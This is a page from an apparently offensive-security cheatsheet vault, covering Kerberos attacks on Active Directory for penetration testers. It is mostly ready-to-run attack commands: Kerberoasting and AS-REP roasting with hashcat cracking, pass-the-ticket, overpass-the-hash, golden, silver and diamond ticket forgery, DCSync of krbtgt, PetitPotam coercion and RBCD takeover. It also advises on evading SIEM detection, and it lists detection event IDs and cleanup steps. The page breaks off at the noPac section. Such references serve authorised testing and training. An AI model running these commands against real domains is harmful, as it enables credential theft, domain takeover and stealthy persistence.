daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

kerberos-attacks.md (30877B)


      1 ---
      2 title: "Stage 05 — Kerberos Attacks"
      3 description: "CPTS attack-flow reference for stage 05 — kerberos attacks in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 8
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-05", "pentest-workflow"]
      8 tools: ["Impacket", "Rubeus", "Kerbrute", "Hashcat"]
      9 difficulty: advanced
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/08 - Stage 05 - Kerberos Attacks.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 08 of 17 · **Focus:** Stage 05 — Kerberos Attacks
     17 >
     18 > **Previous:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration) · **Next:** [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)
     19 
     20 ---
     21 # 🎟️ STAGE 5 — Kerberos Attacks
     22 
     23 Once I hold **any** valid domain creds (from spraying/roasting) I pivot to Kerberos: pull crackable material, replay tickets, and launder hashes into TGTs. All of this talks to the KDC on port 88 against `$DC`.
     24 
     25 > [!warning] Watch out — clock skew kills every Kerberos tool
     26 > Kerberos rejects any request more than **5 min** off the DC clock: `KRB_AP_ERR_SKEW (Clock skew too great)`. Don't touch my host clock — wrap the *one* tool that talks Kerberos with `faketime`. Measure first, then prefix:
     27 > ```bash
     28 > nmap -p 88 --script clock-skew -Pn $DC          # median: 7h30m00s  => DC is ahead
     29 > faketime -f '+7h30m' getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
     30 > # unsure of the sign? sync outright instead:
     31 > sudo ntpdate $IP
     32 > ```
     33 > Always add `-f` so forked Python children inherit the fake time. `faketime` source: [wolfcw/libfaketime](https://github.com/wolfcw/libfaketime); HTTP-based sync alternative: [htpdate](https://github.com/angea/htpdate). Full playbook: faketime-cheatsheet.
     34 
     35 ---
     36 
     37 ### ⏱️ Kerberos in 60 seconds — the flow every attack hangs off
     38 
     39 <figure class="flow plate corners">
     40   <figcaption class="flow__cap"><span class="flow__kind">Kerberos auth exchange</span><span class="flow__dir">TD</span></figcaption>
     41   <div class="flow__body">
     42     <div class="flow__diagram" data-dir="td">
     43       <div class="flow-rank"><div class="flow-node is-entry">Client &rarr; KDC<span class="sub">AS-REQ — prove identity (timestamp encrypted with my key)</span></div></div>
     44       <div class="flow-edge"></div>
     45       <div class="flow-rank"><div class="flow-node">KDC &rarr; Client<span class="sub">AS-REP — TGT (encrypted with krbtgt key) + session key</span></div></div>
     46       <div class="flow-edge"></div>
     47       <div class="flow-rank"><div class="flow-node">Client &rarr; KDC<span class="sub">TGS-REQ — TGT + SPN of the service I want</span></div></div>
     48       <div class="flow-edge"></div>
     49       <div class="flow-rank"><div class="flow-node">KDC &rarr; Client<span class="sub">TGS-REP — service ticket (encrypted with the SERVICE account&apos;s key)</span></div></div>
     50       <div class="flow-edge"></div>
     51       <div class="flow-rank"><div class="flow-node">Client &rarr; Service<span class="sub">AP-REQ — present service ticket</span></div></div>
     52       <div class="flow-edge"></div>
     53       <div class="flow-rank"><div class="flow-node is-goal">Service &rarr; Client<span class="sub">access granted</span></div></div>
     54     </div>
     55   </div>
     56 </figure>
     57 
     58 **Why each attack exists, mapped to a step:**
     59 
     60 | Step | Attack | Why it works |
     61 |---|---|---|
     62 | 1–2 | **AS-REP Roast** | No pre-auth required → the AS-REP material is encrypted with the *user's* password key → offline crack |
     63 | 3–4 | **Kerberoast** | Any user may request a TGS; the TGS is encrypted with the *service account's* password key → offline crack |
     64 | 1–2 | **Overpass-the-Hash / Pass-the-Key** | The "proof of identity" key IS the NT hash / AES key — owning it = minting TGTs |
     65 | 1–5 | **Pass-the-Ticket** | Tickets are bearer tokens; a stolen/forged TGT or TGS replays until expiry |
     66 | 3–4 | **Delegation abuse (S4U)** | Trusted services can ask the KDC for tickets *on behalf of* users — misconfig = impersonate anyone |
     67 | forge | **Golden/Silver/Diamond** | Owning `krbtgt` (or service) keys = sign my own tickets, skipping the KDC entirely |
     68 
     69 Key terms: **TGT** (ticket-granting ticket, from AS exchange), **TGS** (service ticket, from TGS exchange), **SPN** (`service/hostname` string binding a service to an account), **PAC** (authorization data inside the ticket — where group SIDs live), **krbtgt** (the KDC's own account — its key signs every TGT).
     70 
     71 > [!abstract]- MITRE ATT&CK map for this stage
     72 > | Technique | Section |
     73 > |---|---|
     74 > | T1558.003 — Kerberoasting | Kerberoasting / Targeted Kerberoasting |
     75 > | T1558.004 — AS-REP Roasting | AS-REP Roasting |
     76 > | T1550.003 — Pass the Ticket | PtT |
     77 > | T1550.002 — Pass the Hash (OPtH variant) | Overpass-the-Hash |
     78 > | T1558.001 — Golden Ticket / T1558.002 — Silver Ticket | Ticket forgery |
     79 > | T1558 — Steal or Forge Kerberos Tickets (delegation sub-paths) | Delegation section |
     80 > | T1187 — Forced Authentication | Coercion (PetitPotam/printerbug) |
     81 
     82 ---
     83 
     84 ### 🔥 Kerberoasting — SPN accounts → offline crack
     85 
     86 **What to look for:** user accounts with a `servicePrincipalName` set (svc_sql, svc_backup, svc_iis…). Any domain user can request their TGS — no privs needed. The TGS is encrypted with the service account's password hash. Discovery itself lives in [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) (`--kerberoasting`, `Get-DomainUser -SPN`, `setspn -Q */*`); this section is the harvest.
     87 
     88 **Enumerate**
     89 ```bash
     90 # List SPN accounts — no ticket requested yet
     91 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
     92 
     93 # netexec sweep (also dumps in one shot)
     94 nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.hash
     95 ```
     96 
     97 **Exploit / Attack**
     98 ```bash
     99 # Request + dump ALL TGS hashes
    100 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -outputfile kerb.hash
    101 
    102 # Single high-value target
    103 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user svc_sql -outputfile svc_sql.hash
    104 
    105 # Auth with an NT hash instead of a password
    106 GetUserSPNs.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP -request
    107 
    108 # impacket asks for RC4 tickets by default - there is NO etype flag;
    109 # the explicit RC4 downgrade lives on the Windows side: .\Rubeus.exe kerberoast /rc4
    110 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request
    111 
    112 # Crack — RC4 ($krb5tgs$23$) is mode 13100
    113 hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    114 # AES128 ($krb5tgs$17$) -> 19600 | AES256 ($krb5tgs$18$) -> 19700
    115 hashcat -m 19600 kerb.hash /usr/share/wordlists/rockyou.txt
    116 hashcat -m 19700 kerb.hash /usr/share/wordlists/rockyou.txt
    117 ```
    118 
    119 On-host from Windows I reach for [Rubeus](https://github.com/GhostPack/Rubeus) instead (see Rubeus-Cheatsheet):
    120 
    121 > [!tools] Stage this — Rubeus (the Kerberos Swiss army knife)
    122 > [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc))
    123 > GhostPack [Rubeus](https://github.com/GhostPack/Rubeus) covers this whole note on-host: `kerberoast`, `asreproast`, `asktgt`, `ptt`, `s4u`, `monitor`, `diamond`, `describe`. Same binary gets reused in every section below.
    124 
    125 ```powershell
    126 .\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
    127 .\Rubeus.exe kerberoast /user:svc_sql /nowrap
    128 .\Rubeus.exe kerberoast /stats            # recon only — zero ticket requests
    129 .\Rubeus.exe kerberoast /rc4 /nowrap      # RC4-downgrade for fast cracking
    130 .\Rubeus.exe kerberoast /aes /nowrap      # or request AES tickets when RC4 is blocked
    131 ```
    132 
    133 **RC4-downgrade notes:**
    134 - Older svc accounts often support RC4 while the *domain* defaults to AES — asking for RC4 (`/rc4`, or Rubeus default behaviour) yields a `$krb5tgs$23$` that cracks ~1000× faster than AES256.
    135 - **AES-only accounts** (`msDS-SupportedEncryptionTypes` = 24) refuse RC4: `KDC_ERR_ETYPE_NOSUPP` → take the AES ticket and crack 19600/19700 (or pick a different target).
    136 - Every RC4 request is a **detection beacon**: Event 4769 with `Ticket Encryption Type: 0x17` where the baseline is 0x12 is a classic SIEM rule. Prefer AES requests on monitored networks even though the crack is slower.
    137 
    138 **Hash-mode cheat table:**
    139 
    140 | Hash prefix | Material | Hashcat | Notes |
    141 |---|---|---|---|
    142 | `$krb5asrep$23$` | AS-REP, RC4 | **18200** | AS-REP roast, no creds needed |
    143 | `$krb5tgs$23$` | TGS, RC4 | **13100** | standard kerberoast — fast |
    144 | `$krb5tgs$17$` | TGS, AES128 | **19600** | AES-enforced accounts |
    145 | `$krb5tgs$18$` | TGS, AES256 | **19700** | slowest — add `-w 3`, good rules |
    146 
    147 > [!warning] Watch out
    148 > - `$krb5tgs$23$` = RC4 = **mode 13100** (fast). `$krb5tgs$18$` = AES256 = **19700** (slow, may need `-w 3`). Read the prefix before you pick the mode.
    149 > - AES-only domains throw `KDC_ERR_ETYPE_NOSUPP` on RC4 downgrade — switch to 19600/19700.
    150 > - Always `-outputfile` / `/nowrap`; wrapped base64 lines silently corrupt the hash.
    151 > - Bulk roasting = a burst of Event 4769 (etype 0x17) → instant SIEM flag. Target single accounts when it matters.
    152 > - Cracked svc account → **immediately re-enumerate as it** (the doctrine in [Stage 04](/sheets/pentest-workflow/active-directory-enumeration)): service accounts routinely hold shares, SQL, or delegation rights the original user lacked.
    153 
    154 Deep dives: 🔴 Attack · Kerberoasting Cheatsheet · Kerberoasting — Local On-Host Cheatsheet.
    155 
    156 ---
    157 
    158 ### 🩸 AS-REP Roasting — pre-auth disabled → crack with no creds
    159 
    160 **What to look for:** accounts with `DONT_REQ_PREAUTH` (`userAccountControl` bit `0x400000`). The KDC hands back an AS-REP blob encrypted with the account's hash **without any proof of identity** — I don't even need creds, just a username. Discovery lives in Stage 04 (`--asreproast`, kerbrute `--hash-file`, PowerView `-PreauthNotRequired`).
    161 
    162 **Enumerate**
    163 ```bash
    164 # Authenticated auto-discovery of vulnerable accounts
    165 nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.hash
    166 ```
    167 
    168 **Exploit / Attack**
    169 ```bash
    170 # No creds — brute a userlist (only usernames needed)
    171 GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat -outputfile asrep.hash
    172 
    173 # Authenticated — auto-enumerate + dump every vulnerable account
    174 GetNPUsers.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -format hashcat -outputfile asrep.hash
    175 
    176 # Unauthenticated AS-REP roast across a user list (no creds needed — only DONT_REQ_PREAUTH accounts pop)
    177 GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat
    178 # No etype flag exists here either: AES-only accounts come back as $krb5asrep$18$ (hashcat 19900)
    179 
    180 # Crack — AS-REP ($krb5asrep$23$) is mode 18200
    181 hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    182 ```
    183 
    184 Windows / on-host:
    185 ```powershell
    186 .\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap
    187 ```
    188 
    189 > [!tip] Run AS-REP roasting *before* password spraying — it's passive, needs no creds, and each account is queried once so there's zero lockout risk. This is the "user list → cred" bridge in the Stage 04 methodology.
    190 
    191 > [!warning] Watch out
    192 > AS-REP is **mode 18200**, NOT 13100 — different hash (`$krb5asrep$` vs `$krb5tgs$`). Unauthenticated runs leave a 4768 with `PreAuthType: 0` per target — light touch, don't spray 20 at once. `GetNPUsers.py` errors are also the best skew tripwire: `KRB_AP_ERR_SKEW` = fix the clock (top of this note) before anything else.
    193 
    194 Deep dive: 🔴 Attack.
    195 
    196 ---
    197 
    198 ### 🎯 Targeted Kerberoasting — write an SPN, then roast
    199 
    200 **What to look for:** I hold `GenericWrite`/`GenericAll` over a user object (from ACL abuse / BloodHound). I set a bogus SPN on it, roast the TGS, then strip the SPN to clean up. This is the standard way to **spend a GenericWrite edge on a user** when I can't reset the password safely.
    201 
    202 > [!tools] Stage this — targetedKerberoast
    203 > [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc))
    204 > Source: [ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast). One-shot: sets a temp SPN via my ACL, requests the TGS, **removes the SPN again**, prints a hashcat-ready hash.
    205 
    206 **Exploit / Attack**
    207 ```bash
    208 # One-shot: adds a temp SPN, roasts, removes the SPN
    209 python3 targetedKerberoast.py -v -d "$DOMAIN" -u "$U" -p "$P" --dc-ip $IP --request-user <target>
    210 hashcat -m 13100 <target>.hash /usr/share/wordlists/rockyou.txt
    211 
    212 # Manual equivalent via bloodyAD (set SPN -> roast -> clear)
    213 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" set object <target> servicePrincipalName -v 'any/SPN'
    214 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user <target> -outputfile <target>.hash
    215 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove object <target> servicePrincipalName
    216 ```
    217 
    218 > [!warning] Watch out
    219 > `targetedKerberoast.py` is a fork of Python impacket → it needs the clock right too. `sudo ntpdate $IP` (or `faketime -f '+Xh'`) before you run it, or it fails on skew. Same **mode 13100** crack. The write itself is logged (Event 5136/4662 directory-service changes) — on monitored networks, roast-and-clean fast; leaving a stray SPN is both an IOC and a broken account.
    220 
    221 ---
    222 
    223 ### 🎫 Pass-the-Ticket (PtT) — grab a TGT, replay it
    224 
    225 **What to look for:** a valid TGT/ccache — either dumped from LSASS on a Windows host (Rubeus/Mimikatz) or minted from creds/hash with `getTGT.py`. A TGT = access to any service the victim can reach; a TGS = that one service only. **Bypasses MFA** — the ticket is already authenticated.
    226 
    227 **Enumerate / obtain a ticket**
    228 ```bash
    229 # Mint a TGT from creds or an NT hash (outputs <user>.ccache)
    230 getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
    231 getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP
    232 
    233 export KRB5CCNAME=$(pwd)/"$U".ccache
    234 klist                                     # confirm it loaded + check expiry
    235 ```
    236 
    237 **Exploit / Attack — use `-k -no-pass` everywhere**
    238 ```bash
    239 export KRB5CCNAME=/path/to/ticket.ccache
    240 psexec.py     -k -no-pass "$DOMAIN"/"$U"@$DC
    241 wmiexec.py    -k -no-pass "$DOMAIN"/"$U"@$DC
    242 secretsdump.py -k -no-pass "$DOMAIN"/"$U"@$DC
    243 nxc smb $DC --use-kcache
    244 evil-winrm -i $DC -r "$DOMAIN"
    245 
    246 # Windows-format ticket? convert .kirbi -> .ccache first (and back for Rubeus)
    247 ticketConverter.py ticket.kirbi ticket.ccache
    248 ticketConverter.py ticket.ccache ticket.kirbi
    249 ```
    250 
    251 **kirbi ↔ ccache — the format map:**
    252 
    253 | Format | Native to | Use with | Convert |
    254 |---|---|---|---|
    255 | `.ccache` | MIT Kerberos (Linux) | impacket `-k`, evil-winrm `-r`, `klist` | `ticketConverter.py x.kirbi x.ccache` |
    256 | `.kirbi` | Windows / Rubeus / mimikatz | `Rubeus.exe ptt`, `kerberos::ptt` | `ticketConverter.py x.ccache x.kirbi` |
    257 | base64 blob | Rubeus `/nowrap` output | `Rubeus.exe ptt /ticket:<b64>` | wrap/unwrap via ticketConverter after decoding |
    258 
    259 ```bash
    260 # Inspect any ticket before burning it (see flags, etype, expiry)
    261 describeTicket.py ticket.ccache
    262 ```
    263 
    264 From a Windows foothold I dump + inject in place:
    265 ```powershell
    266 .\Rubeus.exe triage
    267 .\Rubeus.exe dump /nowrap
    268 .\Rubeus.exe ptt /ticket:<base64_or_kirbi>
    269 # mimikatz alternative:
    270 # mimikatz # sekurlsa::tickets /export
    271 # mimikatz # kerberos::ptt ticket.kirbi
    272 ```
    273 
    274 > [!warning] Watch out
    275 > - Kerberos is **hostname-based**: authenticate to `$DC` (the FQDN), never the raw `$IP`, or you get `KRB_AP_ERR` / principal-unknown. Add `$IP $DC $DOMAIN` to `/etc/hosts`.
    276 > - `export KRB5CCNAME` **before** the tool, and `-k -no-pass` on the tool itself — forget either and it silently falls back to NTLM.
    277 > - TGT default life is 10h; a nearly-expired one is dead weight — `klist` the expiry.
    278 > - A stolen TGT replayed from a **new source IP** is exactly what "pass-the-ticket" analytics look for (ticket used from a host that never did the AS-REQ). On monitored networks prefer OPtH/asktgt to mint a *fresh* TGT over replaying a stolen one.
    279 
    280 Deep dive: 🔴 Attack · full ticket toolkit in Impacket-Cheatsheet.
    281 
    282 ---
    283 
    284 ### 🔐 Overpass-the-Hash (Pass-the-Key) — NT hash → fresh TGT
    285 
    286 **What to look for:** I have an NT hash (or AES key) but NTLM is blocked/monitored. OPtH uses the hash as a Kerberos key to request a **brand-new TGT**, so I operate purely in Kerberos from there. AES key = stealthiest and works even when RC4 is disabled.
    287 
    288 **Exploit / Attack**
    289 ```bash
    290 # NT hash -> TGT
    291 getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP
    292 # AES256 key -> TGT (no RC4 downgrade signature)
    293 getTGT.py "$DOMAIN"/"$U" -aesKey <AES256KEY> -dc-ip $IP
    294 
    295 export KRB5CCNAME=$(pwd)/"$U".ccache
    296 psexec.py -k -no-pass "$DOMAIN"/"$U"@$DC
    297 
    298 # Skip the TGT — go straight for a service ticket
    299 getST.py "$DOMAIN"/"$U" -hashes :<NTHASH> -spn cifs/$DC -dc-ip $IP
    300 ```
    301 
    302 Windows / Rubeus:
    303 ```powershell
    304 .\Rubeus.exe asktgt /user:"$U" /rc4:<NTHASH>    /domain:"$DOMAIN" /dc:$DC /ptt
    305 .\Rubeus.exe asktgt /user:"$U" /aes256:<AES256KEY> /domain:"$DOMAIN" /opsec /ptt
    306 .\Rubeus.exe asktgt /user:"$U" /password:"$P" /domain:"$DOMAIN" /ptt     # cred -> TGT, inject in one go
    307 ```
    308 
    309 > [!warning] Watch out
    310 > RC4 OPtH throws Event 4768 `etype 0x17` — a red flag in AES-enforced domains. Pull the AES key (`sekurlsa::ekeys`) and use `/aes256` / `-aesKey` to blend in. AES-only domains reject RC4 with `KDC_ERR_ETYPE_NOSUPP`. Rubeus `/opsec` mimics a legitimate AS-REQ exchange (two-step pre-auth) instead of the noisy one-shot — use it whenever detection is in scope.
    311 
    312 Deep dive: 🔴 Attack.
    313 
    314 ---
    315 
    316 ### 🥇🥈 Golden & Silver Tickets — forging with stolen keys
    317 
    318 Post-DA / forgery territory — needs the `krbtgt` hash (Golden) or a service/computer account hash (Silver) plus the domain SID. **Golden** = forge a TGT (opens everything, KDC-validates it). **Silver** = forge one service's TGS (never touches the KDC — quieter, but only that service on that host).
    319 
    320 > [!tools] Stage this — mimikatz (the original ticket forger)
    321 > [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
    322 > Source: [gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz). The impacket `ticketer.py` equivalents below are the Linux-side option; mimikatz is the on-host option.
    323 
    324 ```bash
    325 # Domain SID
    326 lookupsid.py "$DOMAIN"/"$U":"$P"@$IP 0 | grep -i 'Domain SID'
    327 
    328 # GOLDEN — forge a TGT from the krbtgt hash (get it via DCSync first)
    329 ticketer.py -nthash <KRBTGT_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator
    330 # stealthier: forge with the krbtgt AES256 key instead of the NT hash
    331 ticketer.py -aesKey <KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator
    332 
    333 # SILVER — forge a single-service TGS from the service/computer acct hash (never touches KDC)
    334 ticketer.py -nthash <SVC_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" -spn cifs/$DC Administrator
    335 
    336 export KRB5CCNAME=$(pwd)/Administrator.ccache
    337 psexec.py -k -no-pass "$DOMAIN"/Administrator@$DC
    338 ```
    339 
    340 ```powershell
    341 # mimikatz equivalents (on-host)
    342 mimikatz # lsadump::dcsync /user:krbtgt                      # get krbtgt keys (needs DCSync rights)
    343 mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /krbtgt:<NT> /ptt
    344 mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /aes256:<KEY> /ptt
    345 ```
    346 
    347 **Golden vs Silver — when each:**
    348 
    349 | | Golden (krbtgt key) | Silver (service/machine key) |
    350 |---|---|---|
    351 | Scope | Any user, any service, domain-wide | One service on one host |
    352 | KDC contact | TGS-REQ still happens (4769 logged) | **None** — service validates it locally |
    353 | Detection | PAC/flow anomalies, 4769 mismatch | Only service-side logs (often unmonitored) — **stealthier** |
    354 | Survival | Dies only on **double** krbtgt reset | Dies when the service/machine password rotates |
    355 | Best for | Persistence, full-domain access | Quiet access to one box (e.g. `cifs/`, `host/`, `http/`) |
    356 
    357 > [!note] Deep dives: 🟠 Attack · 🟠 Attack · 🥈 Silver Ticket Attack Cheatsheet. Reminder: post-Nov-2021 patches require the forged username to **exist** in AD, and only a **double** krbtgt reset kills a Golden Ticket.
    358 
    359 > [!tip] Crack-mode quick card: Kerberoast RC4 `13100` · AES128 `19600` · AES256 `19700` · AS-REP `18200`. Full list: hashcat modes.
    360 
    361 
    362 ---
    363 
    364 ### 💎 Diamond & Sapphire Tickets (stealth variants)
    365 
    366 **What to look for** → you hold the **KRBTGT AES key** and want a forged TGT that survives modern detection. A Golden Ticket is forged from scratch (no matching AS-REQ on the DC = a detection signature); a **Diamond** ticket decrypts a *real* TGT, rewrites its PAC, and re-signs it — so it has a legitimate audit trail. **Sapphire** goes one step further: it copies the PAC of a *real privileged user* (fetched via S4U) into the forged ticket, so even the PAC contents match a genuine logon.
    367 
    368 | | Golden | Diamond | Sapphire |
    369 |---|---|---|---|
    370 | Needs | krbtgt key | krbtgt key + any way to get a real TGT | krbtgt key + target user's PAC (via S4U2Self) |
    371 | AS-REQ on DC? | ❌ none (detectable gap) | ✅ real one exists | ✅ real one exists |
    372 | PAC | fabricated | modified from real TGT | copied from a real high-priv user |
    373 | Detection resistance | low | high | highest |
    374 
    375 **Exploit** (Rubeus, on a Windows foothold)
    376 ```powershell
    377 # grab a real TGT (tgtdeleg), inject DA into its PAC, re-sign with the krbtgt AES256 key
    378 Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 `
    379   /krbkey:<AES256_of_krbtgt> /nowrap
    380 ```
    381 > [!note] When to bother
    382 > On HTB, a Golden Ticket (via `ticketer.py` / `mimikatz kerberos::golden`) is usually enough and simpler. Reach for Diamond/Sapphire only when detection is explicitly in scope. Deep dives: 🟠 Attack · 🟠 Attack.
    383 
    384 ---
    385 
    386 ### 🔁 Delegation abuse — unconstrained, constrained, RBCD
    387 
    388 Delegation = a service trusted to request tickets *on behalf of* users. Three flavours, three different attacks. Discovery: `nxc ldap $DC -u "$U" -p "$P" --find-delegation` / BloodHound `AllowedToDelegate` edges / PowerView `-TrustedToAuth` (Stage 04).
    389 
    390 #### Unconstrained delegation — the TGT vacuum
    391 
    392 A host trusted for **unconstrained delegation** caches the TGT of every user who authenticates to it. Own the host → dump LSASS → collect TGTs. No users coming? **Coerce** a privileged one.
    393 
    394 > [!tools] Stage this — PetitPotam (coerce the DC to authenticate to me)
    395 > [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc))
    396 > Source: [topotam/PetitPotam](https://github.com/topotam/PetitPotam). Alternatives: [SpoolSample / printerbug](https://github.com/leechristensen/SpoolSample) (MS-RPRN), [Coercer](https://github.com/p0dalirius/Coercer) (multi-protocol scanner), [DFSCoerce](https://github.com/Wh04m1001/DFSCoerce).
    397 
    398 ```powershell
    399 # 1) sit on the unconstrained host and watch for incoming TGTs
    400 .\Rubeus.exe monitor /interval:5 /nowrap
    401 ```
    402 ```bash
    403 # 2) from my box, force the DC to auth to the unconstrained host
    404 python3 PetitPotam.py <UNCONSTRAINED_HOST> $DC          # patched DCs: try printerbug instead
    405 python3 printerbug.py "$DOMAIN"/"$U":"$P"@$DC <UNCONSTRAINED_HOST>
    406 # 3) the DC$ machine TGT lands in Rubeus monitor -> ptt it -> DCSync
    407 ```
    408 ```powershell
    409 .\Rubeus.exe ptt /ticket:<base64_from_monitor>
    410 mimikatz # lsadump::dcsync /user:krbtgt
    411 ```
    412 > [!warning] Watch out
    413 > DC computer accounts are in **Protected Users** on modern domains → their TGTs don't forward. In that case coerce a **different** DC, or pivot to RBCD below. Coercion = forced authentication (T1187) and is *loud* — one shot, not a loop.
    414 
    415 #### Constrained delegation — S4U2Proxy impersonation
    416 
    417 A service with `msDS-AllowedToDelegateTo: cifs/target` can ask the KDC for a service ticket **as any user** to that target service only.
    418 
    419 ```bash
    420 # Linux — getST with S4U2Self+S4U2Proxy in one shot
    421 getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator "$DOMAIN"/"$U":"$P" -dc-ip $IP
    422 export KRB5CCNAME=Administrator.ccache
    423 psexec.py -k -no-pass "$DOMAIN"/Administrator@<TARGET_FQDN>
    424 ```
    425 ```powershell
    426 # Windows — Rubeus s4u (needs the delegating service's hash or TGT)
    427 .\Rubeus.exe s4u /user:svc_iis /rc4:<SVC_NTHASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt
    428 # protocol transition (TrustedToAuth) lets a non-Kerberos auth become a TGS:
    429 .\Rubeus.exe s4u /user:svc_web /ticket:<tgt.kirbi> /impersonateuser:Administrator /msdsspn:time/<DC> /altservice:ldap /ptt
    430 ```
    431 > [!note] Bronze Bit (CVE-2020-17049)
    432 > Pre-Dec-2020 KDCs ignored the "not forwardable" bit on S4U2Self tickets, letting constrained delegation impersonate **Protected Users / delegation-protected accounts**. Mostly patched now — check on 2016/2019-era boxes, otherwise expect `KDC_ERR_BADOPTION`.
    433 
    434 #### RBCD — Resource-Based Constrained Delegation (the GenericWrite-on-computer play)
    435 
    436 The modern standard: if I have **GenericWrite/WriteProperty over a computer object** (or can create a machine account — `MachineAccountQuota > 0`), I set `msDS-AllowedToActOnBehalfOfOtherIdentity` on the *victim computer* and S4U myself in. This is the edge behind half of BloodHound's "computer takeover" paths.
    437 
    438 ```bash
    439 # 0) check quota first (need > 0 to add a machine)
    440 nxc ldap $DC -u "$U" -p "$P" -M maq
    441 
    442 # 1) add a machine account I control (Linux: impacket addcomputer.py | Windows: Powermad)
    443 addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Passw0rd!' -dc-ip $IP "$DOMAIN"/"$U":"$P"
    444 # Windows:  Import-Module .\Powermad.ps1 ; New-MachineAccount -MachineAccount ATTACK
    445 
    446 # 2) grant my machine account RBCD on the VICTIM computer
    447 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" add rbcd 'VICTIM$' 'ATTACK$'
    448 # impacket equivalent:
    449 rbcd.py -delegate-from 'ATTACK$' -delegate-to 'VICTIM$' -dc-ip $IP -action write "$DOMAIN"/"$U":"$P"
    450 
    451 # 3) S4U as Administrator to the victim
    452 getST.py -spn cifs/<VICTIM_FQDN> -impersonate Administrator "$DOMAIN"/'ATTACK$':'Passw0rd!' -dc-ip $IP
    453 export KRB5CCNAME=Administrator.ccache
    454 psexec.py -k -no-pass "$DOMAIN"/Administrator@<VICTIM_FQDN>
    455 
    456 # 4) CLEANUP — reverse every write, every time
    457 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove rbcd 'VICTIM$' 'ATTACK$'
    458 addcomputer.py -computer-name 'ATTACK$' -dc-ip $IP "$DOMAIN"/"$U":"$P" -delete
    459 ```
    460 > [!danger] Cleanup is part of the attack
    461 > An orphaned RBCD entry (`msDS-AllowedToActOnBehalfOfOtherIdentity`) is a persistent, stealthy backdoor — great for an APT, unacceptable to leave in a client's AD. Log the attribute's **original value** before writing, and restore it exactly. Detection: Event **5136** (attribute modified) on the computer object + Event **4662** if auditing; machine-account creation = Event **4741**.
    462 >
    463 > Also: `getST.py` impersonation of `Administrator` to `cifs/` fails if the target admin is in **Protected Users** or marked "account is sensitive and cannot be delegated" — impersonate a different privileged user instead.
    464 
    465 ---
    466 
    467 ### 🧨 sAMAccountName spoof + noPac (CVE-2021-42278 / CVE-2021-42287)
    468 
    469 Any domain user + default `MachineAccountQuota=10` → create a machine account, rename it to a DC's name (spoof `sAMAccountName`), request a TGT, rename back, then S4U2Self — the KDC "loses" the machine and grants a ticket **as the DC** → DCSync → DA. Unpatched 2016/2019/2022 DCs only.
    470 
    471 ```bash
    472 # check
    473 nxc smb $DC -u "$U" -p "$P" -M nopac
    474 # exploit (noPac — github.com/Ridter/noPac)
